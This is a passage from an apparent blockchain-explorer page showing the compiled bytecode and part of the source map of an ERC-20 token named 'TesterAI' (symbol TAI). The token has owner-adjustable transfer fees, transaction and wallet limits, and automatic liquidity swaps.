90815260176020526040902054610efd9082610a70565b6001600160a01b038416600090815260176020908152604080832093909355601990529081205460ff1615610f325781610f3d565b610f3d848484611251565b6001600160a01b038416600090815260176020526040902054909150610f639082611009565b6001600160a01b0380851660008181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fb79085815260200190565b60405180910390a350505050565b60008184841115610fe95760405162461bcd60e51b815260040161059e91906115da565b505050900390565b600061056d82846117d7565b600061056d82846117ee565b600061056d82846117c4565b60055460045430600090815260176020526040812054600354919385101592111590600160a01b900460ff161580156110555750600654610100900460ff165b8015611063575060065460ff165b801561106c5750815b801561109157506001600160a01b03861660009081526019602052604090205460ff16155b80156110aa57506003546001600160a01b038681169116145b80156110ba575060085460075410155b80156110c35750805b9695505050505050565b6003805460ff60a01b1916600160a01b179055600f54600e54600d5460009261110b926002926106d692916111059182906001611009565b90611009565b905060006111288261066c600d5486610ff190919063ffffffff16565b905060006111368483610a70565b90504761114282611381565b600061114e4783610a70565b9050600061117161116a600d5488610a7090919063ffffffff16565b8390610ffd565b9050600061118a600d5483610ff190919063ffffffff16565b9050801561119c5761119c86826114db565b600e546000906111b1906106d6856002610ff1565b905080156111f5576012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156111f3573d6000803e3d6000fd5b505b478015611238576011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611236573d6000803e3d6000fd5b505b50506003805460ff60a01b191690555050505050505050565b6001600160a01b03821660009081526019602052604081205460ff161561127b575060145461056d565b6000611287858561158f565b111561137a5760006112aa61129c868661158f565b600c546106d6908690610ffd565b306000908152601760205260409020549091506112c79082611009565b30600081815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113189085815260200190565b60405180910390a3600060105411801561133c575060105461133a868661158f565b115b15611368576113683061dead6113636010546106d6600c5489610ffd90919063ffffffff16565b610a7c565b6113728382610a70565b91505061056d565b5092915050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106113b6576113b6611810565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561140f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114339190611826565b8160018151811061144657611446611810565b6001600160a01b03928316602091820292909201015260025461146c913091168461094c565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a5908590600090869030904290600401611843565b600060405180830381600087803b1580156114bf57600080fd5b505af11580156114d3573d6000803e3d6000fd5b505050505050565b6002546114f39030906001600160a01b03168461094c565b60025460135460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611563573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061158891906118b4565b5050505050565b6003546000906001600160a01b03908116908316036115b15750600a54610493565b6003546001600160a01b03908116908416036115d05750600954610493565b50600b5492915050565b600060208083528351808285015260005b81811015611607578581018301518582016040015282016115eb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461163d57600080fd5b50565b6000806040838503121561165357600080fd5b823561165e81611628565b946020939093013593505050565b60008060006060848603121561168157600080fd5b833561168c81611628565b9250602084013561169c81611628565b929592945050506040919091013590565b6000602082840312156116bf57600080fd5b813561056d81611628565b6000806000606084860312156116df57600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a03121561171157600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b6000806040838503121561175557600080fd5b823561176081611628565b9150602083013561177081611628565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156104935761049361179b565b808201808211156104935761049361179b565b80820281158282048414176104935761049361179b565b60008261180b57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561183857600080fd5b815161056d81611628565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118935784516001600160a01b03168352938301939183019160010161186e565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156118c957600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b401e404b62b6ea6cdc16610aaa49ff736f82c761128d9c394e5d091ec2ca5ec64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101395760003560e01c8063893d20e8116100ab5780639d8740cb1161006f5780639d8740cb146103a6578063a9059cbb146103c6578063cb7f97d7146103e6578063dd62ed3e14610406578063df9fa4d21461044c578063f2fde38b1461046257600080fd5b8063893d20e8146102f6578063953635141461031457806395d89b411461032a5780639c6fe5fb146103565780639cc353511461038657600080fd5b80632f54bf6e116100fd5780632f54bf6e14610212578063313ce567146102415780634f3ff0991461025d57806370a0823114610273578063715018a6146102a957806383134643146102be57600080fd5b806306fdde0314610145578063095ea7b31461018857806318160ddd146101b857806323b872dd146101db578063293230b8146101fb57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b50604080518082019091526008815267546573746572414960c01b60208201525b60405161017f91906115da565b60405180910390f35b34801561019457600080fd5b506101a86101a3366004611640565b610482565b604051901515815260200161017f565b3480156101c457600080fd5b506101cd610499565b60405190815260200161017f565b3480156101e757600080fd5b506101a86101f636600461166c565b61050a565b34801561020757600080fd5b50610210610574565b005b34801561021e57600080fd5b506101a861022d3660046116ad565b6000546001600160a01b0391821691161490565b34801561024d57600080fd5b506040516009815260200161017f565b34801561026957600080fd5b506101cd60145481565b34801561027f57600080fd5b506101cd61028e3660046116ad565b6001600160a01b031660009081526017602052604090205490565b3480156102b557600080fd5b506102106105b6565b3480156102ca57600080fd5b506003546102de906001600160a01b031681565b6040516001600160a01b03909116815260200161017f565b34801561030257600080fd5b506000546001600160a01b03166102de565b34801561032057600080fd5b506101cd60165481565b34801561033657600080fd5b5060408051808201909152600381526254414960e81b6020820152610172565b34801561036257600080fd5b506101a86103713660046116ad565b60196020526000908152604090205460ff1681565b34801561039257600080fd5b506102106103a13660046116ca565b610625565b3480156103b257600080fd5b506102106103c13660046116ca565b610766565b3480156103d257600080fd5b506101a86103e1366004611640565b6107cc565b3480156103f257600080fd5b506102106104013660046116f6565b6107d9565b34801561041257600080fd5b506101cd610421366004611742565b6001600160a01b03918216600090815260186020908152604080832093909416825291909152205490565b34801561045857600080fd5b506101cd60155481565b34801561046e57600080fd5b5061021061047d3660046116ad565b6108ce565b600061048f33848461094c565b5060015b92915050565b60176020527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b5461dead60009081527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b03035460015491926105059290916104ff9190610a70565b90610a70565b905090565b6000610517848484610a7c565b6105698433610564856040518060600160405280602881526020016118e3602891396001600160a01b038a1660009081526018602090815260408083203384529091529020549190610fc5565b61094c565b5060015b9392505050565b6000546001600160a01b031633146105a75760405162461bcd60e51b815260040161059e9061177b565b60405180910390fd5b6006805460ff19166001179055565b6000546001600160a01b031633146105e05760405162461bcd60e51b815260040161059e9061177b565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b0316331461064f5760405162461bcd60e51b815260040161059e9061177b565b600061067261271061066c86600154610ff190919063ffffffff16565b90610ffd565b9050600061069161271061066c86600154610ff190919063ffffffff16565b905060006106b061271061066c86600154610ff190919063ffffffff16565b601484905560158390556016819055905060006106dc6103e861066c60056106d6610499565b90610ff1565b90508084101580156106ee5750808310155b80156106fa5750808210155b61075d5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161059e565b50505050505050565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161059e9061177b565b60088390556001546107ab90620186a09061066c9085610ff1565b6004556001546107c490620186a09061066c9084610ff1565b600555505050565b600061048f338484610a7c565b6000546001600160a01b031633146108035760405162461bcd60e51b815260040161059e9061177b565b600d879055600e8690556010859055600f8490556009839055600a829055600b819055600c54610834906001610ffd565b600954111580156108545750600c5461084e906001610ffd565b600a5411155b801561086f5750600c54610869906001610ffd565b600b5411155b61075d5760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b606482015260840161059e565b6000546001600160a01b031633146108f85760405162461bcd60e51b815260040161059e9061177b565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109ae5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059e565b6001600160a01b038216610a0f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059e565b6001600160a01b0383811660008181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061056d82846117b1565b6001600160a01b038316610ae05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059e565b6001600160a01b038216610b425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059e565b6001600160a01b038316600090815260176020526040902054811115610bc45760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161059e565b6001600160a01b03831660009081526019602052604090205460ff16158015610c0657506001600160a01b03821660009081526019602052604090205460ff16155b15610c4c5760065460ff16610c4c5760405162461bcd60e51b815260206004820152600c60248201526b1d1c985919515b98589b195960a21b604482015260640161059e565b6001600160a01b03831660009081526019602052604090205460ff16158015610c8e57506001600160a01b03821660009081526019602052604090205460ff16155b8015610ca857506003546001600160a01b03838116911614155b8015610cbf57506001600160a01b03821661dead14155b15610d38576016546001600160a01b038316600090815260176020526040902054610cea9083611009565b1115610d385760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161059e565b6003546001600160a01b03848116911614610dd95760155481111580610d7657506001600160a01b03831660009081526019602052604090205460ff165b80610d9957506001600160a01b03821660009081526019602052604090205460ff165b610dd95760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161059e565b60145481111580610e0257506001600160a01b03831660009081526019602052604090205460ff165b80610e2557506001600160a01b03821660009081526019602052604090205460ff165b610e655760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161059e565b6003546001600160a01b038381169116148015610e9b57506001600160a01b03831660009081526019602052604090205460ff16155b15610eb957600160076000828254610eb391906117c4565b90915550505b610ec4838383611015565b15610eda57610ed46004546110cd565b60006007555b6001600160a01b038316600090815260176020526040902054610efd9082610a70565b6001600160a01b038416600090815260176020908152604080832093909355601990529081205460ff1615610f325781610f3d565b610f3d848484611251565b6001600160a01b038416600090815260176020526040902054909150610f639082611009565b6001600160a01b0380851660008181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fb79085815260200190565b60405180910390a350505050565b60008184841115610fe95760405162461bcd60e51b815260040161059e91906115da565b505050900390565b600061056d82846117d7565b600061056d82846117ee565b600061056d82846117c4565b60055460045430600090815260176020526040812054600354919385101592111590600160a01b900460ff161580156110555750600654610100900460ff165b8015611063575060065460ff165b801561106c5750815b801561109157506001600160a01b03861660009081526019602052604090205460ff16155b80156110aa57506003546001600160a01b038681169116145b80156110ba575060085460075410155b80156110c35750805b9695505050505050565b6003805460ff60a01b1916600160a01b179055600f54600e54600d5460009261110b926002926106d692916111059182906001611009565b90611009565b905060006111288261066c600d5486610ff190919063ffffffff16565b905060006111368483610a70565b90504761114282611381565b600061114e4783610a70565b9050600061117161116a600d5488610a7090919063ffffffff16565b8390610ffd565b9050600061118a600d5483610ff190919063ffffffff16565b9050801561119c5761119c86826114db565b600e546000906111b1906106d6856002610ff1565b905080156111f5576012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156111f3573d6000803e3d6000fd5b505b478015611238576011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611236573d6000803e3d6000fd5b505b50506003805460ff60a01b191690555050505050505050565b6001600160a01b03821660009081526019602052604081205460ff161561127b575060145461056d565b6000611287858561158f565b111561137a5760006112aa61129c868661158f565b600c546106d6908690610ffd565b306000908152601760205260409020549091506112c79082611009565b30600081815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113189085815260200190565b60405180910390a3600060105411801561133c575060105461133a868661158f565b115b15611368576113683061dead6113636010546106d6600c5489610ffd90919063ffffffff16565b610a7c565b6113728382610a70565b91505061056d565b5092915050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106113b6576113b6611810565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561140f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114339190611826565b8160018151811061144657611446611810565b6001600160a01b03928316602091820292909201015260025461146c913091168461094c565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a5908590600090869030904290600401611843565b600060405180830381600087803b1580156114bf57600080fd5b505af11580156114d3573d6000803e3d6000fd5b505050505050565b6002546114f39030906001600160a01b03168461094c565b60025460135460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611563573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061158891906118b4565b5050505050565b6003546000906001600160a01b03908116908316036115b15750600a54610493565b6003546001600160a01b03908116908416036115d05750600954610493565b50600b5492915050565b600060208083528351808285015260005b81811015611607578581018301518582016040015282016115eb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461163d57600080fd5b50565b6000806040838503121561165357600080fd5b823561165e81611628565b946020939093013593505050565b60008060006060848603121561168157600080fd5b833561168c81611628565b9250602084013561169c81611628565b929592945050506040919091013590565b6000602082840312156116bf57600080fd5b813561056d81611628565b6000806000606084860312156116df57600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a03121561171157600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b6000806040838503121561175557600080fd5b823561176081611628565b9150602083013561177081611628565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156104935761049361179b565b808201808211156104935761049361179b565b80820281158282048414176104935761049361179b565b60008261180b57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561183857600080fd5b815161056d81611628565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118935784516001600160a01b03168352938301939183019160010161186e565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156118c957600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b401e404b62b6ea6cdc16610aaa49ff736f82c761128d9c394e5d091ec2ca5ec64736f6c63430008130033

Deployed Bytecode Sourcemap

3878:9801:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6133:67;;;;;;;;;;-1:-1:-1;6193:5:0;;;;;;;;;;;;-1:-1:-1;;;6193:5:0;;;;6133:67;;;;;;;:::i;:::-;;;;;;;;6952:133;;;;;;;;;;-1:-1:-1;6952:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6952:133:0;1023:187:1;6525:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6525:132:0;1215:177:1;7423:309:0;;;;;;;;;;-1:-1:-1;7423:309:0;;;;;:::i;:::-;;:::i;6808:65::-;;;;;;;;;;;;;:::i;:::-;;3507:87;;;;;;;;;;-1:-1:-1;3507:87:0;;;;;:::i;:::-;3562:4;3587:5;-1:-1:-1;;;;;3576:16:0;;;3587:5;;3576:16;;3507:87;6879:67;;;;;;;;;;-1:-1:-1;6879:67:0;;4082:1;2252:36:1;;2240:2;2225:18;6879:67:0;2110:184:1;5198:60:0;;;;;;;;;;;;;;;;6416:103;;;;;;;;;;-1:-1:-1;6416:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6499:18:0;6482:7;6499:18;;;:9;:18;;;;;;;6416:103;3717:106;;;;;;;;;;;;;:::i;4176:20::-;;;;;;;;;;-1:-1:-1;4176:20:0;;;;-1:-1:-1;;;;;4176:20:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;4176:20:0;2299:203:1;3434:67:0;;;;;;;;;;-1:-1:-1;3477:7:0;3494:5;-1:-1:-1;;;;;3494:5:0;3434:67;;5329:55;;;;;;;;;;;;;;;;6206:71;;;;;;;;;;-1:-1:-1;6268:7:0;;;;;;;;;;;;-1:-1:-1;;;6268:7:0;;;;6206:71;;5514:42;;;;;;;;;;-1:-1:-1;5514:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9144:543;;;;;;;;;;-1:-1:-1;9144:543:0;;;;;:::i;:::-;;:::i;7097:314::-;;;;;;;;;;-1:-1:-1;7097:314:0;;;;;:::i;:::-;;:::i;6663:139::-;;;;;;;;;;-1:-1:-1;6663:139:0;;;;;:::i;:::-;;:::i;12059:510::-;;;;;;;;;;-1:-1:-1;12059:510:0;;;;;:::i;:::-;;:::i;6283:127::-;;;;;;;;;;-1:-1:-1;6283:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6381:18:0;;;6364:7;6381:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6283:127;5265:57;;;;;;;;;;;;;;;;3600:111;;;;;;;;;;-1:-1:-1;3600:111:0;;;;;:::i;:::-;;:::i;6952:133::-;7027:4;7034:37;7043:10;7055:7;7064:6;7034:8;:37::i;:::-;-1:-1:-1;7079:4:0;6952:133;;;;;:::o;6525:132::-;6499:9;:18;;;;5143:42;6578:7;6499:18;;;;;6595:12;;6578:7;;6595:60;;6499:18;;6595:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;6588:67;;6525:132;:::o;7423:309::-;7521:4;7538:36;7548:6;7556:9;7567:6;7538:9;:36::i;:::-;7585:117;7594:6;7602:10;7614:87;7650:6;7614:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7614:19:0;;;;;;:11;:19;;;;;;;;7634:10;7614:31;;;;;;;;;:87;:35;:87::i;:::-;7585:8;:117::i;:::-;-1:-1:-1;7720:4:0;7423:309;;;;;;:::o;6808:65::-;3562:4;3587:5;-1:-1:-1;;;;;3587:5:0;3401:10;3576:16;3385:38;;;;-1:-1:-1;;;3385:38:0;;;;;;;:::i;:::-;;;;;;;;;6852:12:::1;:19:::0;;-1:-1:-1;;6852:19:0::1;6867:4;6852:19;::::0;;6808:65::o;3717:106::-;3562:4;3587:5;-1:-1:-1;;;;;3587:5:0;3401:10;3576:16;3385:38;;;;-1:-1:-1;;;3385:38:0;;;;;;;:::i;:::-;3780:1:::1;3764:18:::0;;-1:-1:-1;;;;;;3764:18:0::1;::::0;;3789:32:::1;::::0;2445:51:1;;;3789:32:0::1;::::0;2433:2:1;2418:18;3789:32:0::1;;;;;;;3717:106::o:0;9144:543::-;3562:4;3587:5;-1:-1:-1;;;;;3587:5:0;3401:10;3576:16;3385:38;;;;-1:-1:-1;;;3385:38:0;;;;;;;:::i;:::-;9250:13:::1;9266:33;9293:5;9266:22;9283:4;9266:12;;:16;;:22;;;;:::i;:::-;:26:::0;::::1;:33::i;:::-;9250:49;;9301:19;9323:34;9351:5;9323:23;9340:5;9323:12;;:16;;:23;;;;:::i;:34::-;9301:56;;9359:17;9379:36;9409:5;9379:25;9396:7;9379:12;;:16;;:25;;;;:::i;:36::-;9426:12;:20:::0;;;9448:9:::1;:23:::0;;;9473:7:::1;:19:::0;;;9359:56;-1:-1:-1;;9519:30:0::1;9544:4;9519:20;9537:1;9519:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;9503:46;;9577:5;9568;:14;;:38;;;;;9601:5;9586:11;:20;;9568:38;:60;;;;;9623:5;9610:9;:18;;9568:60;9560:119;;;::::0;-1:-1:-1;;;9560:119:0;;4614:2:1;9560:119:0::1;::::0;::::1;4596:21:1::0;4653:2;4633:18;;;4626:30;4692:34;4672:18;;;4665:62;-1:-1:-1;;;4743:18:1;;;4736:44;4797:19;;9560:119:0::1;4412:410:1::0;9560:119:0::1;9239:448;;;;9144:543:::0;;;:::o;7097:314::-;3562:4;3587:5;-1:-1:-1;;;;;3587:5:0;3401:10;3576:16;3385:38;;;;-1:-1:-1;;;3385:38:0;;;;;;;:::i;:::-;7230:12:::1;:26:::0;;;7271:12:::1;::::0;:53:::1;::::0;7316:6:::1;::::0;7271:32:::1;::::0;7288:14;7271:16:::1;:32::i;:53::-;7258:10;:66:::0;7349:12:::1;::::0;:54:::1;::::0;7395:6:::1;::::0;7349:33:::1;::::0;7366:15;7349:16:::1;:33::i;:54::-;7336:10;:67:::0;-1:-1:-1;;;7097:314:0:o;6663:139::-;6741:4;6748:40;6758:10;6770:9;6781:6;6748:9;:40::i;12059:510::-;3562:4;3587:5;-1:-1:-1;;;;;3587:5:0;3401:10;3576:16;3385:38;;;;-1:-1:-1;;;3385:38:0;;;;;;;:::i;:::-;12249:12:::1;:25:::0;;;12276:12:::1;:25:::0;;;12303:7:::1;:15:::0;;;12320:6:::1;:21:::0;;;12343:6:::1;:15:::0;;;12360:7:::1;:15:::0;;;12377:11:::1;:20:::0;;;12426:11:::1;::::0;:18:::1;::::0;-1:-1:-1;12426:15:0::1;:18::i;:::-;12416:6;;:28;;:61;;;;-1:-1:-1::0;12459:11:0::1;::::0;:18:::1;::::0;12475:1:::1;12459:15;:18::i;:::-;12448:7;;:29;;12416:61;:98;;;;-1:-1:-1::0;12496:11:0::1;::::0;:18:::1;::::0;12512:1:::1;12496:15;:18::i;:::-;12481:11;;:33;;12416:98;12408:153;;;::::0;-1:-1:-1;;;12408:153:0;;5029:2:1;12408:153:0::1;::::0;::::1;5011:21:1::0;5068:2;5048:18;;;5041:30;5107:34;5087:18;;;5080:62;-1:-1:-1;;;5158:18:1;;;5151:40;5208:19;;12408:153:0::1;4827:406:1::0;3600:111:0;3562:4;3587:5;-1:-1:-1;;;;;3587:5:0;3401:10;3576:16;3385:38;;;;-1:-1:-1;;;3385:38:0;;;;;;;:::i;:::-;3666:5:::1;:11:::0;;-1:-1:-1;;;;;;3666:11:0::1;-1:-1:-1::0;;;;;3666:11:0;::::1;::::0;;::::1;::::0;;;3684:25:::1;::::0;2445:51:1;;;3684:25:0::1;::::0;2433:2:1;2418:18;3684:25:0::1;;;;;;;3600:111:::0;:::o;11375:335::-;-1:-1:-1;;;;;11468:19:0;;11460:68;;;;-1:-1:-1;;;11460:68:0;;5656:2:1;11460:68:0;;;5638:21:1;5695:2;5675:18;;;5668:30;5734:34;5714:18;;;5707:62;-1:-1:-1;;;5785:18:1;;;5778:34;5829:19;;11460:68:0;5454:400:1;11460:68:0;-1:-1:-1;;;;;11547:21:0;;11539:68;;;;-1:-1:-1;;;11539:68:0;;6061:2:1;11539:68:0;;;6043:21:1;6100:2;6080:18;;;6073:30;6139:34;6119:18;;;6112:62;-1:-1:-1;;;6190:18:1;;;6183:32;6232:19;;11539:68:0;5859:398:1;11539:68:0;-1:-1:-1;;;;;11618:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11670:32;;1361:25:1;;;11670:32:0;;1334:18:1;11670:32:0;;;;;;;11375:335;;;:::o;488:98::-;546:7;573:5;577:1;573;:5;:::i;7744:1392::-;-1:-1:-1;;;;;7841:20:0;;7833:70;;;;-1:-1:-1;;;7833:70:0;;6729:2:1;7833:70:0;;;6711:21:1;6768:2;6748:18;;;6741:30;6807:34;6787:18;;;6780:62;-1:-1:-1;;;6858:18:1;;;6851:35;6903:19;;7833:70:0;6527:401:1;7833:70:0;-1:-1:-1;;;;;7922:23:0;;7914:71;;;;-1:-1:-1;;;7914:71:0;;7135:2:1;7914:71:0;;;7117:21:1;7174:2;7154:18;;;7147:30;7213:34;7193:18;;;7186:62;-1:-1:-1;;;7264:18:1;;;7257:33;7307:19;;7914:71:0;6933:399:1;7914:71:0;-1:-1:-1;;;;;6499:18:0;;6482:7;6499:18;;;:9;:18;;;;;;8004:6;:27;;7996:88;;;;-1:-1:-1;;;7996:88:0;;7539:2:1;7996:88:0;;;7521:21:1;7578:2;7558:18;;;7551:30;7617:34;7597:18;;;7590:62;-1:-1:-1;;;7668:18:1;;;7661:47;7725:19;;7996:88:0;7337:413:1;7996:88:0;-1:-1:-1;;;;;8099:17:0;;;;;;:9;:17;;;;;;;;8098:18;:43;;;;-1:-1:-1;;;;;;8121:20:0;;;;;;:9;:20;;;;;;;;8120:21;8098:43;8095:87;;;8151:12;;;;8143:37;;;;-1:-1:-1;;;8143:37:0;;7957:2:1;8143:37:0;;;7939:21:1;7996:2;7976:18;;;7969:30;-1:-1:-1;;;8015:18:1;;;8008:42;8067:18;;8143:37:0;7755:336:1;8143:37:0;-1:-1:-1;;;;;8196:17:0;;;;;;:9;:17;;;;;;;;8195:18;:43;;;;-1:-1:-1;;;;;;8218:20:0;;;;;;:9;:20;;;;;;;;8217:21;8195:43;:74;;;;-1:-1:-1;8263:5:0;;-1:-1:-1;;;;;8242:27:0;;;8263:5;;8242:27;;8195:74;:104;;;;-1:-1:-1;;;;;;8273:26:0;;5143:42;8273:26;;8195:104;8192:209;;;8357:7;;-1:-1:-1;;;;;8320:20:0;;;;;;:9;:20;;;;;;:32;;8345:6;8320:24;:32::i;:::-;8319:45;;8311:88;;;;-1:-1:-1;;;8311:88:0;;8298:2:1;8311:88:0;;;8280:21:1;8337:2;8317:18;;;8310:30;8376:32;8356:18;;;8349:60;8426:18;;8311:88:0;8096:354:1;8311:88:0;8424:5;;-1:-1:-1;;;;;8414:15:0;;;8424:5;;8414:15;8411:116;;8449:9;;8439:6;:19;;:40;;;-1:-1:-1;;;;;;8462:17:0;;;;;;:9;:17;;;;;;;;8439:40;:64;;;-1:-1:-1;;;;;;8483:20:0;;;;;;:9;:20;;;;;;;;8439:64;8431:94;;;;-1:-1:-1;;;8431:94:0;;8657:2:1;8431:94:0;;;8639:21:1;8696:2;8676:18;;;8669:30;-1:-1:-1;;;8715:18:1;;;8708:47;8772:18;;8431:94:0;8455:341:1;8431:94:0;8555:12;;8545:6;:22;;:43;;;-1:-1:-1;;;;;;8571:17:0;;;;;;:9;:17;;;;;;;;8545:43;:67;;;-1:-1:-1;;;;;;8592:20:0;;;;;;:9;:20;;;;;;;;8545:67;8537:97;;;;-1:-1:-1;;;8537:97:0;;8657:2:1;8537:97:0;;;8639:21:1;8696:2;8676:18;;;8669:30;-1:-1:-1;;;8715:18:1;;;8708:47;8772:18;;8537:97:0;8455:341:1;8537:97:0;8662:5;;-1:-1:-1;;;;;8649:18:0;;;8662:5;;8649:18;:40;;;;-1:-1:-1;;;;;;8672:17:0;;;;;;:9;:17;;;;;;;;8671:18;8649:40;8646:73;;;8715:1;8691:12;;:26;;;;;;;:::i;:::-;;;;-1:-1:-1;;8646:73:0;8732:45;8751:6;8759:9;8770:6;8732:18;:45::i;:::-;8729:107;;;8779:28;8796:10;;8779:16;:28::i;:::-;8832:1;8809:12;:25;8729:107;-1:-1:-1;;;;;8866:17:0;;;;;;:9;:17;;;;;;:29;;8888:6;8866:21;:29::i;:::-;-1:-1:-1;;;;;8846:17:0;;;;;;:9;:17;;;;;;;;:49;;;;8932:9;:17;;;;;;;;8931:18;:64;;8989:6;8931:64;;;8952:34;8960:6;8968:9;8979:6;8952:7;:34::i;:::-;-1:-1:-1;;;;;9029:20:0;;;;;;:9;:20;;;;;;8906:89;;-1:-1:-1;9029:40:0;;8906:89;9029:24;:40::i;:::-;-1:-1:-1;;;;;9006:20:0;;;;;;;:9;:20;;;;;;;:63;;;;9085:43;;;;;;;;;;9113:14;1361:25:1;;1349:2;1334:18;;1215:177;9085:43:0;;;;;;;;7822:1314;7744:1392;;;:::o;912:240::-;1032:7;1093:12;1085:6;;;;1077:29;;;;-1:-1:-1;;;1077:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1128:5:0;;;912:240::o;594:98::-;652:7;679:5;683:1;679;:5;:::i;700:98::-;758:7;785:5;789:1;785;:5;:::i;382:98::-;440:7;467:5;471:1;467;:5;:::i;10971:396::-;11116:10;;11187;;11177:4;11073;6499:18;;;:9;:18;;;;;;11216:6;;11073:4;;11106:20;;;;-1:-1:-1;11159:38:0;;-1:-1:-1;;;11216:6:0;;;;11215:7;:22;;;;-1:-1:-1;11226:11:0;;;;;;;11215:22;:38;;;;-1:-1:-1;11241:12:0;;;;11215:38;:50;;;;;11257:8;11215:50;:72;;;;-1:-1:-1;;;;;;11270:17:0;;;;